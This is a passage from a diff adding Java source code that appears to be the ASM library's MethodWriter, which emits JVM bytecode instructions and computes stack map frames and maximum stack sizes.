opcode) { + // Case of a GOTO_W or JSR_W specified by the user (normally ClassReader when used to remove + // ASM specific instructions). In this case we keep the original instruction. + code.putByte(opcode); + label.put(code, code.length - 1, true); + } else { + // Case of a jump with an offset >= -32768, or of a jump with an unknown offset. In these + // cases we store the offset in 2 bytes (which will be increased via a ClassReader -> + // ClassWriter round trip if it turns out that 2 bytes are not sufficient). + code.putByte(baseOpcode); + label.put(code, code.length - 1, false); + } + + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + Label nextBasicBlock = null; + if (compute == COMPUTE_ALL_FRAMES) { + currentBasicBlock.frame.execute(baseOpcode, 0, null, null); + // Record the fact that 'label' is the target of a jump instruction. + label.getCanonicalInstance().flags |= Label.FLAG_JUMP_TARGET; + // Add 'label' as a successor of the current basic block. + addSuccessorToCurrentBasicBlock(Edge.JUMP, label); + if (baseOpcode != Opcodes.GOTO) { + // The next instruction starts a new basic block (except for GOTO: by default the code + // following a goto is unreachable - unless there is an explicit label for it - and we + // should not compute stack frame types for its instructions). + nextBasicBlock = new Label(); + } + } else if (compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(baseOpcode, 0, null, null); + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES) { + // No need to update maxRelativeStackSize (the stack size delta is always negative). + relativeStackSize += STACK_SIZE_DELTA[baseOpcode]; + } else { + if (baseOpcode == Opcodes.JSR) { + // Record the fact that 'label' designates a subroutine, if not already done. + if ((label.flags & Label.FLAG_SUBROUTINE_START) == 0) { + label.flags |= Label.FLAG_SUBROUTINE_START; + hasSubroutines = true; + } + currentBasicBlock.flags |= Label.FLAG_SUBROUTINE_CALLER; + // Note that, by construction in this method, a block which calls a subroutine has at + // least two successors in the control flow graph: the first one (added below) leads to + // the instruction after the JSR, while the second one (added here) leads to the JSR + // target. Note that the first successor is virtual (it does not correspond to a possible + // execution path): it is only used to compute the successors of the basic blocks ending + // with a ret, in {@link Label#addSubroutineRetSuccessors}. + addSuccessorToCurrentBasicBlock(relativeStackSize + 1, label); + // The instruction after the JSR starts a new basic block. + nextBasicBlock = new Label(); + } else { + // No need to update maxRelativeStackSize (the stack size delta is always negative). + relativeStackSize += STACK_SIZE_DELTA[baseOpcode]; + addSuccessorToCurrentBasicBlock(relativeStackSize, label); + } + } + // If the next instruction starts a new basic block, call visitLabel to add the label of this + // instruction as a successor of the current block, and to start a new basic block. + if (nextBasicBlock != null) { + if (nextInsnIsJumpTarget) { + nextBasicBlock.flags |= Label.FLAG_JUMP_TARGET; + } + visitLabel(nextBasicBlock); + } + if (baseOpcode == Opcodes.GOTO) { + endCurrentBasicBlockWithNoSuccessor(); + } + } + } + + @Override + public void visitLabel(final Label label) { + // Resolve the forward references to this label, if any. + hasAsmInstructions |= label.resolve(code.data, code.length); + // visitLabel starts a new basic block (except for debug only labels), so we need to update the + // previous and current block references and list of successors. + if ((label.flags & Label.FLAG_DEBUG_ONLY) != 0) { + return; + } + if (compute == COMPUTE_ALL_FRAMES) { + if (currentBasicBlock != null) { + if (label.bytecodeOffset == currentBasicBlock.bytecodeOffset) { + // We use {@link Label#getCanonicalInstance} to store the state of a basic block in only + // one place, but this does not work for labels which have not been visited yet. + // Therefore, when we detect here two labels having the same bytecode offset, we need to + // - consolidate the state scattered in these two instances into the canonical instance: + currentBasicBlock.flags |= (label.flags & Label.FLAG_JUMP_TARGET); + // - make sure the two instances share the same Frame instance (the implementation of + // {@link Label#getCanonicalInstance} relies on this property; here label.frame should be + // null): + label.frame = currentBasicBlock.frame; + // - and make sure to NOT assign 'label' into 'currentBasicBlock' or 'lastBasicBlock', so + // that they still refer to the canonical instance for this bytecode offset. + return; + } + // End the current basic block (with one new successor). + addSuccessorToCurrentBasicBlock(Edge.JUMP, label); + } + // Append 'label' at the end of the basic block list. + if (lastBasicBlock != null) { + if (label.bytecodeOffset == lastBasicBlock.bytecodeOffset) { + // Same comment as above. + lastBasicBlock.flags |= (label.flags & Label.FLAG_JUMP_TARGET); + // Here label.frame should be null. + label.frame = lastBasicBlock.frame; + currentBasicBlock = lastBasicBlock; + return; + } + lastBasicBlock.nextBasicBlock = label; + } + lastBasicBlock = label; + // Make it the new current basic block. + currentBasicBlock = label; + // Here label.frame should be null. + label.frame = new Frame(label); + } else if (compute == COMPUTE_INSERTED_FRAMES) { + if (currentBasicBlock == null) { + // This case should happen only once, for the visitLabel call in the constructor. Indeed, if + // compute is equal to COMPUTE_INSERTED_FRAMES, currentBasicBlock stays unchanged. + currentBasicBlock = label; + } else { + // Update the frame owner so that a correct frame offset is computed in Frame.accept(). + currentBasicBlock.frame.owner = label; + } + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL) { + if (currentBasicBlock != null) { + // End the current basic block (with one new successor). + currentBasicBlock.outputStackMax = (short) maxRelativeStackSize; + addSuccessorToCurrentBasicBlock(relativeStackSize, label); + } + // Start a new current basic block, and reset the current and maximum relative stack sizes. + currentBasicBlock = label; + relativeStackSize = 0; + maxRelativeStackSize = 0; + // Append the new basic block at the end of the basic block list. + if (lastBasicBlock != null) { + lastBasicBlock.nextBasicBlock = label; + } + lastBasicBlock = label; + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES && currentBasicBlock == null) { + // This case should happen only once, for the visitLabel call in the constructor. Indeed, if + // compute is equal to COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES, currentBasicBlock stays + // unchanged. + currentBasicBlock = label; + } + } + + @Override + public void visitLdcInsn(final Object value) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + Symbol constantSymbol = symbolTable.addConstant(value); + int constantIndex = constantSymbol.index; + char firstDescriptorChar; + boolean isLongOrDouble = + constantSymbol.tag == Symbol.CONSTANT_LONG_TAG + || constantSymbol.tag == Symbol.CONSTANT_DOUBLE_TAG + || (constantSymbol.tag == Symbol.CONSTANT_DYNAMIC_TAG + && ((firstDescriptorChar = constantSymbol.value.charAt(0)) == 'J' + || firstDescriptorChar == 'D')); + if (isLongOrDouble) { + code.put12(Constants.LDC2_W, constantIndex); + } else if (constantIndex >= 256) { + code.put12(Constants.LDC_W, constantIndex); + } else { + code.put11(Opcodes.LDC, constantIndex); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(Opcodes.LDC, 0, constantSymbol, symbolTable); + } else { + int size = relativeStackSize + (isLongOrDouble ? 2 : 1); + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + + @Override + public void visitIincInsn(final int var, final int increment) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + if ((var > 255) || (increment > 127) || (increment < -128)) { + code.putByte(Constants.WIDE).put12(Opcodes.IINC, var).putShort(increment); + } else { + code.putByte(Opcodes.IINC).put11(var, increment); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null + && (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES)) { + currentBasicBlock.frame.execute(Opcodes.IINC, var, null, null); + } + if (compute != COMPUTE_NOTHING) { + int currentMaxLocals = var + 1; + if (currentMaxLocals > maxLocals) { + maxLocals = currentMaxLocals; + } + } + } + + @Override + public void visitTableSwitchInsn( + final int min, final int max, final Label dflt, final Label... labels) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + code.putByte(Opcodes.TABLESWITCH).putByteArray(null, 0, (4 - code.length % 4) % 4); + dflt.put(code, lastBytecodeOffset, true); + code.putInt(min).putInt(max); + for (Label label : labels) { + label.put(code, lastBytecodeOffset, true); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + visitSwitchInsn(dflt, labels); + } + + @Override + public void visitLookupSwitchInsn(final Label dflt, final int[] keys, final Label[] labels) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + code.putByte(Opcodes.LOOKUPSWITCH).putByteArray(null, 0, (4 - code.length % 4) % 4); + dflt.put(code, lastBytecodeOffset, true); + code.putInt(labels.length); + for (int i = 0; i < labels.length; ++i) { + code.putInt(keys[i]); + labels[i].put(code, lastBytecodeOffset, true); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + visitSwitchInsn(dflt, labels); + } + + private void visitSwitchInsn(final Label dflt, final Label[] labels) { + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES) { + currentBasicBlock.frame.execute(Opcodes.LOOKUPSWITCH, 0, null, null); + // Add all the labels as successors of the current basic block. + addSuccessorToCurrentBasicBlock(Edge.JUMP, dflt); + dflt.getCanonicalInstance().flags |= Label.FLAG_JUMP_TARGET; + for (Label label : labels) { + addSuccessorToCurrentBasicBlock(Edge.JUMP, label); + label.getCanonicalInstance().flags |= Label.FLAG_JUMP_TARGET; + } + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL) { + // No need to update maxRelativeStackSize (the stack size delta is always negative). + --relativeStackSize; + // Add all the labels as successors of the current basic block. + addSuccessorToCurrentBasicBlock(relativeStackSize, dflt); + for (Label label : labels) { + addSuccessorToCurrentBasicBlock(relativeStackSize, label); + } + } + // End the current basic block. + endCurrentBasicBlockWithNoSuccessor(); + } + } + + @Override + public void visitMultiANewArrayInsn(final String descriptor, final int numDimensions) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + Symbol descSymbol = symbolTable.addConstantClass(descriptor); + code.put12(Opcodes.MULTIANEWARRAY, descSymbol.index).putByte(numDimensions); + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute( + Opcodes.MULTIANEWARRAY, numDimensions, descSymbol, symbolTable); + } else { + // No need to update maxRelativeStackSize (the stack size delta is always negative). + relativeStackSize += 1 - numDimensions; + } + } + } + + @Override + public AnnotationVisitor visitInsnAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + // Create a ByteVector to hold a 'type_annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.20. + ByteVector typeAnnotation = new ByteVector(); + // Write target_type, target_info, and target_path. + TypeReference.putTarget((typeRef & 0xFF0000FF) | (lastBytecodeOffset << 8), typeAnnotation); + TypePath.put(typePath, typeAnnotation); + // Write type_index and reserve space for num_element_value_pairs. + typeAnnotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastCodeRuntimeVisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastCodeRuntimeVisibleTypeAnnotation); + } else { + return lastCodeRuntimeInvisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastCodeRuntimeInvisibleTypeAnnotation); + } + } + + @Override + public void visitTryCatchBlock( + final Label start, final Label end, final Label handler, final String type) { + Handler newHandler = + new Handler( + start, end, handler, type != null ? symbolTable.addConstantClass(type).index : 0, type); + if (firstHandler == null) { + firstHandler = newHandler; + } else { + lastHandler.nextHandler = newHandler; + } + lastHandler = newHandler; + } + + @Override + public AnnotationVisitor visitTryCatchAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + // Create a ByteVector to hold a 'type_annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.20. + ByteVector typeAnnotation = new ByteVector(); + // Write target_type, target_info, and target_path. + TypeReference.putTarget(typeRef, typeAnnotation); + TypePath.put(typePath, typeAnnotation); + // Write type_index and reserve space for num_element_value_pairs. + typeAnnotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastCodeRuntimeVisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastCodeRuntimeVisibleTypeAnnotation); + } else { + return lastCodeRuntimeInvisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastCodeRuntimeInvisibleTypeAnnotation); + } + } + + @Override + public void visitLocalVariable( + final String name, + final String descriptor, + final String signature, + final Label start, + final Label end, + final int index) { + if (signature != null) { + if (localVariableTypeTable == null) { + localVariableTypeTable = new ByteVector(); + } + ++localVariableTypeTableLength; + localVariableTypeTable + .putShort(start.bytecodeOffset) + .putShort(end.bytecodeOffset - start.bytecodeOffset) + .putShort(symbolTable.addConstantUtf8(name)) + .putShort(symbolTable.addConstantUtf8(signature)) + .putShort(index); + } + if (localVariableTable == null) { + localVariableTable = new ByteVector(); + } + ++localVariableTableLength; + localVariableTable + .putShort(start.bytecodeOffset) + .putShort(end.bytecodeOffset - start.bytecodeOffset) + .putShort(symbolTable.addConstantUtf8(name)) + .putShort(symbolTable.addConstantUtf8(descriptor)) + .putShort(index); + if (compute != COMPUTE_NOTHING) { + char firstDescChar = descriptor.charAt(0); + int currentMaxLocals = index + (firstDescChar == 'J' || firstDescChar == 'D' ? 2 : 1); + if (currentMaxLocals > maxLocals) { + maxLocals = currentMaxLocals; + } + } + } + + @Override + public AnnotationVisitor visitLocalVariableAnnotation( + final int typeRef, + final TypePath typePath, + final Label[] start, + final Label[] end, + final int[] index, + final String descriptor, + final boolean visible) { + // Create a ByteVector to hold a 'type_annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.20. + ByteVector typeAnnotation = new ByteVector(); + // Write target_type, target_info, and target_path. + typeAnnotation.putByte(typeRef >>> 24).putShort(start.length); + for (int i = 0; i < start.length; ++i) { + typeAnnotation + .putShort(start[i].bytecodeOffset) + .putShort(end[i].bytecodeOffset - start[i].bytecodeOffset) + .putShort(index[i]); + } + TypePath.put(typePath, typeAnnotation); + // Write type_index and reserve space for num_element_value_pairs. + typeAnnotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastCodeRuntimeVisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastCodeRuntimeVisibleTypeAnnotation); + } else { + return lastCodeRuntimeInvisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastCodeRuntimeInvisibleTypeAnnotation); + } + } + + @Override + public void visitLineNumber(final int line, final Label start) { + if (lineNumberTable == null) { + lineNumberTable = new ByteVector(); + } + ++lineNumberTableLength; + lineNumberTable.putShort(start.bytecodeOffset); + lineNumberTable.putShort(line); + } + + @Override + public void visitMaxs(final int maxStack, final int maxLocals) { + if (compute == COMPUTE_ALL_FRAMES) { + computeAllFrames(); + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL) { + computeMaxStackAndLocal(); + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES) { + this.maxStack = maxRelativeStackSize; + } else { + this.maxStack = maxStack; + this.maxLocals = maxLocals; + } + } + + /** Computes all the stack map frames of the method, from scratch. */ + private void computeAllFrames() { + // Complete the control flow graph with exception handler blocks. + Handler handler = firstHandler; + while (handler != null) { + String catchTypeDescriptor = + handler.catchTypeDescriptor == null ? "java/lang/Throwable" : handler.catchTypeDescriptor; + int catchType = Frame.getAbstractTypeFromInternalName(symbolTable, catchTypeDescriptor); + // Mark handlerBlock as an exception handler. + Label handlerBlock = handler.handlerPc.getCanonicalInstance(); + handlerBlock.flags |= Label.FLAG_JUMP_TARGET; + // Add handlerBlock as a successor of all the basic blocks in the exception handler range. + Label handlerRangeBlock = handler.startPc.getCanonicalInstance(); + Label handlerRangeEnd = handler.endPc.getCanonicalInstance(); + while (handlerRangeBlock != handlerRangeEnd) { + handlerRangeBlock.outgoingEdges = + new Edge(catchType, handlerBlock, handlerRangeBlock.outgoingEdges); + handlerRangeBlock = handlerRangeBlock.nextBasicBlock; + } + handler = handler.nextHandler; + } + + // Create and visit the first (implicit) frame. + Frame firstFrame = firstBasicBlock.frame; + firstFrame.setInputFrameFromDescriptor(symbolTable, accessFlags, descriptor, this.maxLocals); + firstFrame.accept(this); + + // Fix point algorithm: add the first basic block to a list of blocks to process (i.e. blocks + // whose stack map frame has changed) and, while there are blocks to process, remove one from + // the list and update the stack map frames of its successor blocks in the control flow graph + // (which might change them, in which case these blocks must be processed too, and are thus + // added to the list of blocks to process). Also compute the maximum stack size of the method, + // as a by-product. + Label listOfBlocksToProcess = firstBasicBlock; + listOfBlocksToProcess.nextListElement = Label.EMPTY_LIST; + int maxStackSize = 0; + while (listOfBlocksToProcess != Label.EMPTY_LIST) { + // Remove a basic block from the list of blocks to process. + Label basicBlock = listOfBlocksToProcess; + listOfBlocksToProcess = listOfBlocksToProcess.nextListElement; + basicBlock.nextListElement = null; + // By definition, basicBlock is reachable. + basicBlock.flags |= Label.FLAG_REACHABLE; + // Update the (absolute) maximum stack size. + int maxBlockStackSize = basicBlock.frame.getInputStackSize() + basicBlock.outputStackMax; + if (maxBlockStackSize > maxStackSize) { + maxStackSize = maxBlockStackSize; + } + // Update the successor blocks of basicBlock in the control flow graph. + Edge outgoingEdge = basicBlock.outgoingEdges; + while (outgoingEdge != null) { + Label successorBlock = outgoingEdge.successor.getCanonicalInstance(); + boolean successorBlockChanged = + basicBlock.frame.merge(symbolTable, successorBlock.frame, outgoingEdge.info); + if (successorBlockChanged && successorBlock.nextListElement == null) { + // If successorBlock has changed it must be processed. Thus, if it is not already in the + // list of blocks to process, add it to this list. + successorBlock.nextListElement = listOfBlocksToProcess; + listOfBlocksToProcess = successorBlock; + } + outgoingEdge = outgoingEdge.nextEdge; + } + } + + // Loop over all the basic blocks and visit the stack map frames that must be stored in the + // StackMapTable attribute. Also replace unreachable code with NOP* ATHROW, and remove it from + // exception handler ranges. + Label basicBlock = firstBasicBlock; + while (basicBlock != null) { + if ((basicBlock.flags & (Label.FLAG_JUMP_TARGET | Label.FLAG_REACHABLE)) + == (Label.FLAG_JUMP_TARGET | Label.FLAG_REACHABLE)) { + basicBlock.frame.accept(this); + } + if ((basicBlock.flags & Label.FLAG_REACHABLE) == 0) { + // Find the start and end bytecode offsets of this unreachable block. + Label nextBasicBlock = basicBlock.nextBasicBlock; + int startOffset = basicBlock.bytecodeOffset; + int endOffset = (nextBasicBlock == null ? code.length : nextBasicBlock.bytecodeOffset) - 1; + if (endOffset >= startOffset) { + // Replace its instructions with NOP ... NOP ATHROW. + for (int i = startOffset; i < endOffset; ++i) { + code.data[i] = Opcodes.NOP; + } + code.data[endOffset] = (byte) Opcodes.ATHROW; + // Emit a frame for this unreachable block, with no local and a Throwable on the stack + // (so that the ATHROW could consume this Throwable if it were reachable). + int frameIndex = visitFrameStart(startOffset, /* numLocal = */ 0, /* numStack = */ 1); + currentFrame[frameIndex] = + Frame.getAbstractTypeFromInternalName(symbolTable, "java/lang/Throwable"); + visitFrameEnd(); + // Remove this unreachable basic block from the exception handler ranges. + firstHandler = Handler.removeRange(firstHandler, basicBlock, nextBasicBlock); + // The maximum stack size is now at least one, because of the Throwable declared above. + maxStackSize = Math.max(maxStackSize, 1); + } + } + basicBlock = basicBlock.nextBasicBlock; + } + + this.maxStack = maxStackSize; + } + + /** Computes the maximum stack size of the method. */ + private void computeMaxStackAndLocal() { + // Complete the control flow graph with exception handler blocks. + Handler handler = firstHandler; + while (handler != null) { + Label handlerBlock = handler.handlerPc; + Label handlerRangeBlock = handler.startPc; + Label handlerRangeEnd = handler.endPc; + // Add handlerBlock as a successor of all the basic blocks in the exception handler range. + while (handlerRangeBlock != handlerRangeEnd) { + if ((handlerRangeBlock.flags & Label.FLAG_SUBROUTINE_CALLER) == 0) { + handlerRangeBlock.outgoingEdges = + new Edge(Edge.EXCEPTION, handlerBlock, handlerRangeBlock.outgoingEdges); + } else { + // If handlerRangeBlock is a JSR block, add handlerBlock after the first two outgoing + // edges to preserve the hypothesis about JSR block successors order (see + // {@link #visitJumpInsn}). + handlerRangeBlock.outgoingEdges.nextEdge.nextEdge = + new Edge( + Edge.EXCEPTION, handlerBlock, handlerRangeBlock.outgoingEdges.nextEdge.nextEdge); + } + handlerRangeBlock = handlerRangeBlock.nextBasicBlock; + } + handler = handler.nextHandler; + } + + // Complete the control flow graph with the successor blocks of subroutines, if needed. + if (hasSubroutines) { + // First step: find the subroutines. This step determines, for each basic block, to which + // subroutine(s) it belongs. Start with the main "subroutine": + short numSubroutines = 1; + firstBasicBlock.markSubroutine(numSubroutines); + // Then, mark the subroutines called by the main subroutine, then the subroutines called by + // those called by the main subroutine, etc. + for (short currentSubroutine = 1; currentSubroutine <= numSubroutines; ++currentSubroutine) { + Label basicBlock = firstBasicBlock; + while (basicBlock != null) { + if ((basicBlock.flags & Label.FLAG_SUBROUTINE_CALLER) != 0 + && basicBlock.subroutineId == currentSubroutine) { + Label jsrTarget = basicBlock.outgoingEdges.nextEdge.successor; + if (jsrTarget.subroutineId == 0) { + // If this subroutine has not been marked yet, find its basic blocks. + jsrTarget.markSubroutine(++numSubroutines); + } + } + basicBlock = basicBlock.nextBasicBlock; + } + } + // Second step: find the successors in the control flow graph of each subroutine basic block + // 'r' ending with a RET instruction. These successors are the virtual successors of the basic + // blocks ending with JSR instructions (see {@link #visitJumpInsn)} that can reach 'r'. + Label basicBlock = firstBasicBlock; + while (basicBlock != null) { + if ((basicBlock.flags & Label.FLAG_SUBROUTINE_CALLER) != 0) { + // By construction, jsr targets are stored in the second outgoing edge of basic blocks + // that ends with a jsr instruction (see {@link #FLAG_SUBROUTINE_CALLER}). + Label subroutine = basicBlock.outgoingEdges.nextEdge.successor; + subroutine.addSubroutineRetSuccessors(basicBlock); + } + basicBlock = basicBlock.nextBasicBlock; + } + } + + // Data flow algorithm: put the first basic block in a list of blocks to process (i.e. blocks + // whose input stack size has changed) and, while there are blocks to process, remove one + // from the list, update the input stack size of its successor blocks in the control flow + // graph, and add these blocks to the list of blocks to process (if not already done). + Label listOfBlocksToProcess = firstBasicBlock; + listOfBlocksToProcess.nextListElement = Label.EMPTY_LIST; + int maxStackSize = maxStack; + while (listOfBlocksToProcess != Label.EMPTY_LIST) { + // Remove a basic block from the list of blocks to process. Note that we don't reset + // basicBlock.nextListElement to null on purpose, to make sure we don't reprocess already + // processed basic blocks. + Label basicBlock = listOfBlocksToProcess; + listOfBlocksToProcess = listOfBlocksToProcess.nextListElement; + // Compute the (absolute) input stack size and maximum stack size of this block. + int inputStackTop = basicBlock.inputStackSize; + int maxBlockStackSize = inputStackTop + basicBlock.outputStackMax; + // Update the absolute maximum stack size of the method. + if (maxBlockStackSize > maxStackSize) { + maxStackSize = maxBlockStackSize; + } + // Update the input stack size of the successor blocks of basicBlock in the control flow + // graph, and add these blocks to the list of blocks to process, if not already done. + Edge outgoingEdge = basicBlock.outgoingEdges; + if ((basicBlock.flags & Label.FLAG_SUBROUTINE_CALLER) != 0) { + // Ignore the first outgoing edge of the basic blocks ending with a jsr: these are virtual + // edges which lead to the instruction just after the jsr, and do not correspond to a + // possible execution path (see {@link #visitJumpInsn} and + // {@link Label#FLAG_SUBROUTINE_CALLER}). + outgoingEdge = outgoingEdge.nextEdge; + } + while (outgoingEdge != null) { + Label successorBlock = outgoingEdge.successor; + if (successorBlock.nextListElement == null) { + successorBlock.inputStackSize = + (short) (outgoingEdge.info == Edge.EXCEPTION ? 1 : inputStackTop + outgoingEdge.info); + successorBlock.nextListElement = listOfBlocksToProcess; + listOfBlocksToProcess = successorBlock; + } + outgoingEdge = outgoingEdge.nextEdge; + } + } + this.maxStack = maxStackSize; + } + + @Override + public void visitEnd() { + // Nothing to do. + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods: control flow analysis algorithm + // ----------------------------------------------------------------------------------------------- + + /** + * Adds a successor to {@link #currentBasicBlock} in the control flow graph. + * + * @param info information about the control flow edge to be added. + * @param successor the successor block to be added to the current basic block. + */ + private void addSuccessorToCurrentBasicBlock(final int info, final Label successor) { + currentBasicBlock.outgoingEdges = new Edge(info, successor, currentBasicBlock.outgoingEdges); + } + + /** + * Ends the current basic block. This method must be used in the case where the current basic + * block does not have any successor. + * + *

WARNING: this method must be called after the currently visited instruction has been put in + * {@link #code} (if frames are computed, this method inserts a new Label to start a new basic + * block after the current instruction). + */ + private void endCurrentBasicBlockWithNoSuccessor() { + if (compute == COMPUTE_ALL_FRAMES) { + Label nextBasicBlock = new Label(); + nextBasicBlock.frame = new Frame(nextBasicBlock); + nextBasicBlock.resolve(code.data, code.length); + lastBasicBlock.nextBasicBlock = nextBasicBlock; + lastBasicBlock = nextBasicBlock; + currentBasicBlock = null; + } else if (compute == COMPUTE_MAX_STACK_AND_LOCAL) { + currentBasicBlock.outputStackMax = (short) maxRelativeStackSize; + currentBasicBlock = null; + } + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods: stack map frames + // ----------------------------------------------------------------------------------------------- + + /** + * Starts the visit of a new stack map frame, stored in {@link #currentFrame}. + * + * @param offset the bytecode offset of the instruction to which the frame corresponds. + * @param numLocal the number of local variables in the frame. + * @param numStack the number of stack elements in the frame. + * @return the index of the next element to be written in this frame. + */ + int visitFrameStart(final int offset, final int numLocal, final int numStack) { + int frameLength = 3 + numLocal + numStack; + if (currentFrame == null || currentFrame.length < frameLength) { + currentFrame = new int[frameLength]; + } + currentFrame[0] = offset; + currentFrame[1] = numLocal; + currentFrame[2] = numStack; + return 3; + } + + /** + * Sets an abstract type in {@link #currentFrame}. + * + * @param frameIndex the index of the element to be set in {@link #currentFrame}. + * @param abstractType an abstract type. + */ + void visitAbstractType(final int frameIndex, final int abstractType) { + currentFrame[frameIndex] = abstractType; + } + + /** + * Ends the visit of {@link #currentFrame} by writing it in the StackMapTable entries and by + * updating the StackMapTable number_of_entries (except if the current frame is the first one, + * which is implicit in StackMapTable). Then resets {@link #currentFrame} to {@literal null}. + */ + void visitFrameEnd() { + if (previousFrame != null) { + if (stackMapTableEntries == null) { + stackMapTableEntries = new ByteVector(); + } + putFrame(); + ++stackMapTableNumberOfEntries; + } + previousFrame = currentFrame; + currentFrame = null; + } + + /** Compresses and writes {@link #currentFrame} in a new StackMapTable entry. */ + private void putFrame() { + final int numLocal = currentFrame[1]; + final int numStack = currentFrame[2]; + if (symbolTable.getMajorVersion() < Opcodes.V1_6) { + // Generate a StackMap attribute entry, which are always uncompressed. + stackMapTableEntries.putShort(currentFrame[0]).putShort(numLocal); + putAbstractTypes(3, 3 + numLocal); + stackMapTableEntries.putShort(numStack); + putAbstractTypes(3 + numLocal, 3 + numLocal + numStack); + return; + } + final int offsetDelta = + stackMapTableNumberOfEntries == 0 + ? currentFrame[0] + : currentFrame[0] - previousFrame[0] - 1; + final int previousNumlocal = previousFrame[1]; + final int numLocalDelta = numLocal - previousNumlocal; + int type = Frame.FULL_FRAME; + if (numStack == 0) { + switch (numLocalDelta) { + case -3: + case -2: + case -1: + type = Frame.CHOP_FRAME; + break; + case 0: + type = offsetDelta < 64 ? Frame.SAME_FRAME : Frame.SAME_FRAME_EXTENDED; + break; + case 1: + case 2: + case 3: + type = Frame.APPEND_FRAME; + break; + default: + // Keep the FULL_FRAME type. + break; + } + } else if (numLocalDelta == 0 && numStack == 1) { + type = + offsetDelta < 63 + ? Frame.SAME_LOCALS_1_STACK_ITEM_FRAME + : Frame.SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED; + } + if (type != Frame.FULL_FRAME) { + // Verify if locals are the same as in the previous frame. + int frameIndex = 3; + for (int i = 0; i < previousNumlocal && i < numLocal; i++) { + if (currentFrame[frameIndex] != previousFrame[frameIndex]) { + type = Frame.FULL_FRAME; + break; + } + frameIndex++; + } + } + switch (type) { + case Frame.SAME_FRAME: + stackMapTableEntries.putByte(offsetDelta); + break; + case Frame.SAME_LOCALS_1_STACK_ITEM_FRAME: + stackMapTableEntries.putByte(Frame.SAME_LOCALS_1_STACK_ITEM_FRAME + offsetDelta); + putAbstractTypes(3 + numLocal, 4 + numLocal); + break; + case Frame.SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED: + stackMapTableEntries + .putByte(Frame.SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED) + .putShort(offsetDelta); + putAbstractTypes(3 + numLocal, 4 + numLocal); + break; + case Frame.SAME_FRAME_EXTENDED: + stackMapTableEntries.putByte(Frame.SAME_FRAME_EXTENDED).putShort(offsetDelta); + break; + case Frame.CHOP_FRAME: + stackMapTableEntries + .putByte(Frame.SAME_FRAME_EXTENDED + numLocalDelta) + .putShort(offsetDelta); + break; + case Frame.APPEND_FRAME: + stackMapTableEntries + .putByte(Frame.SAME_FRAME_EXTENDED + numLocalDelta) + .putShort(offsetDelta); + putAbstractTypes(3 + previousNumlocal, 3 + numLocal); + break; + case Frame.FULL_FRAME: + default: + stackMapTableEntries.putByte(Frame.FULL_FRAME).putShort(offsetDelta).putShort(numLocal); + putAbstractTypes(3, 3 + numLocal); + stackMapTableEntries.putShort(numStack); + putAbstractTypes(3 + numLocal, 3 + numLocal + numStack); + break; + } + } + + /** + * Puts some abstract types of {@link #currentFrame} in {@link #stackMapTableEntries} , using the + * JVMS verification_type_info format used in StackMapTable attributes. + * + * @param start index of the first type in {@link #currentFrame} to write. + * @param end index of last type in {@link #currentFrame} to write (exclusive). + */ + private void putAbstractTypes(final int start, final int end) { + for (int i = start; i < end; ++i) { + Frame.putAbstractType(symbolTable, currentFrame[i], stackMapTableEntries); + } + } + + /** + * Puts the given public API frame element type in {@link #stackMapTableEntries} , using the JVMS + * verification_type_info format used in StackMapTable attributes. + * + * @param type a frame element type described using the same format as in {@link + * MethodVisitor#visitFrame}, i.e. either {@link Opcodes#TOP}, {@link Opcodes#INTEGER}, {@link + * Opcodes#FLOAT}, {@link Opcodes#LONG}, {@link Opcodes#DOUBLE}, {@link Opcodes#NULL}, or + 